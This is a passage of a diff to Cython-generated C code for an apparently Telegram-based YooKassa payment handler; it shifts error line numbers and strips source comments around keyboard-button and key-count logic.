callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ - __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 83, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - /* "handlers/payments/yookassa_pay.py":84 - * ), - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - * ), - */ - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 84, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); - __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 84, __pyx_L1_error) + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; - /* "handlers/payments/yookassa_pay.py":85 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< - * ), - * ) - */ - __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 85, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_12); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 85, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 86, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 84, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 85, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yookassa_pay.py":83 - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ), - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i + 1]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - */ - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 83, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 84, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -4853,95 +4731,53 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":77 - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): - * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< - * builder.row( - * InlineKeyboardButton( - */ goto __pyx_L8; } - /* "handlers/payments/yookassa_pay.py":89 - * ) - * else: - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - */ /*else*/ { - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/yookassa_pay.py":90 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - /* "handlers/payments/yookassa_pay.py":91 - * builder.row( - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - * ) - */ - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 91, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 91, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 91, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - - /* "handlers/payments/yookassa_pay.py":92 - * InlineKeyboardButton( - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< - * ) - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 92, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_10); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 92, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 91, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 92, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":90 - * else: - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=PAYMENT_OPTIONS[i]["text"], - * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - */ - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 90, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 92, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -4964,7 +4800,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 89, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -4972,59 +4808,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co } __pyx_L8:; - /* "handlers/payments/yookassa_pay.py":76 - * builder = InlineKeyboardBuilder() - * - * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< - * if i + 1 < len(PAYMENT_OPTIONS): - * builder.row( - */ } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":95 - * ) - * ) - * builder.row( # <<<<<<<<<<<<<< - * InlineKeyboardButton( - * text=CUSTOM_SUM, - */ - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - /* "handlers/payments/yookassa_pay.py":96 - * ) - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=CUSTOM_SUM, - * callback_data="enter_custom_amount_yookassa", - */ - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - /* "handlers/payments/yookassa_pay.py":97 - * builder.row( - * InlineKeyboardButton( - * text=CUSTOM_SUM, # <<<<<<<<<<<<<< - * callback_data="enter_custom_amount_yookassa", - * ) - */ - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 97, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_CUSTOM_SUM); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_CUSTOM_SUM); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yookassa) < 0) __PYX_ERR(0, 97, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yookassa) < 0) __PYX_ERR(0, 98, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":96 - * ) - * builder.row( - * InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=CUSTOM_SUM, - * callback_data="enter_custom_amount_yookassa", - */ - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 96, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 97, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5047,31 +4848,24 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":101 - * ) - * ) - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay")) # <<<<<<<<<<<<<< - * - * key_count = await get_key_count(tg_id) - */ - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_BACK); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_BACK); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 101, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_4) < 0) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 101, __pyx_L1_error) - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 102, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5094,20 +4888,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":103 - * builder.row(InlineKeyboardButton(text=BACK, callback_data="pay")) - * - * key_count = await get_key_count(tg_id) # <<<<<<<<<<<<<< - * - * if key_count == 0: - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 103, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; __pyx_t_5 = 0; @@ -5127,7 +4914,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -5142,35 +4929,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L10_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 103, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 104, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 103, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_key_count = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":105 - * key_count = await get_key_count(tg_id) - * - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(tg_id) - * if not exists: - */ - __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 105, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 106, __pyx_L1_error) if (__pyx_t_2) { - /* "handlers/payments/yookassa_pay.py":106 - * - * if key_count == 0: - * exists = await check_connection_exists(tg_id) # <<<<<<<<<<<<<< - * if not exists: - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = NULL; __pyx_t_5 = 0; @@ -5190,7 +4963,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_4, __pyx_cur_scope->__pyx_v_tg_id}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } @@ -5205,48 +4978,34 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L12_resume_from_await:; - if (unlikely(!__pyx_sent_value)) 